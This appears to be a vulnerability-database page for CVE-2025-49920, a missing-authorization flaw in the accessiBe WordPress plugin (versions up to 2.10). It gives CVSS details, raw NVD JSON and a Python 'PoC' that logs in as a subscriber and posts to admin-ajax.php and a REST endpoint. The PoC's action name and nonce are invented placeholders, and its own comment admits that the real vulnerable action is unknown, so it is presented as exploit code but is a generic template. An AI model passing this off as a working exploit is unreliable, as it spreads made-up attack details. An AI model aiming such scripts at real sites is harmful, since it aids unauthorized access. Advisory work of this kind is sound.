Security Vulnerability Report
中文
CVE-2025-49920 CVSS 5.4 MEDIUM

CVE-2025-49920

Published: 2025-10-22 15:15:38
Last Modified: 2026-04-27 20:16:17

Description

Missing Authorization vulnerability in accessiBe Web Accessibility By accessiBe accessibe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Web Accessibility By accessiBe: from n/a through <= 2.10.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

accessiBe Web Accessibility By accessiBe <= 2.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49920 PoC - accessiBe WordPress Plugin Broken Access Control # Exploits missing authorization check in accessibe plugin (<= 2.10) # Requires: Low-privilege authenticated WordPress user (e.g., subscriber) import requests # Target configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" # Step 1: Authenticate as low-privilege user session = requests.Session() # WordPress login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post( f"{TARGET_URL}/wp-login.php", data=login_data, cookies={"wordpress_logged_in_test": "test"} ) # Step 2: Obtain WordPress nonce (may be required for some AJAX actions) # This can be extracted from the admin page if accessible, or from public pages homepage = session.get(f"{TARGET_URL}/") # Extract _wpnonce or similar tokens from page source if available # Step 3: Exploit missing authorization in accessibe plugin # The plugin exposes AJAX endpoints or admin actions without proper capability checks exploit_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/accessibe/v1/" ] exploit_payload = { "action": "accessibe_unauthorized_action", # Specific action name varies "nonce": "bypassed_or_obtained_nonce", # Additional parameters targeting the vulnerable functionality } for endpoint in exploit_endpoints: try: response = session.post( f"{TARGET_URL}{endpoint}", data=exploit_payload, headers={"X-Requested-With": "XMLHttpRequest"} ) print(f"Endpoint: {endpoint}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) except Exception as e: print(f"Error on {endpoint}: {e}") # Note: Actual exploitation requires identifying the specific # unprotected function/action in the accessibe plugin code.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49920", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:37.817", "lastModified": "2026-04-27T20:16:17.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in accessiBe Web Accessibility By accessiBe accessibe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Web Accessibility By accessiBe: from n/a through <= 2.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/accessibe/vulnerability/wordpress-web-accessibility-by-accessibe-plugin-2-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}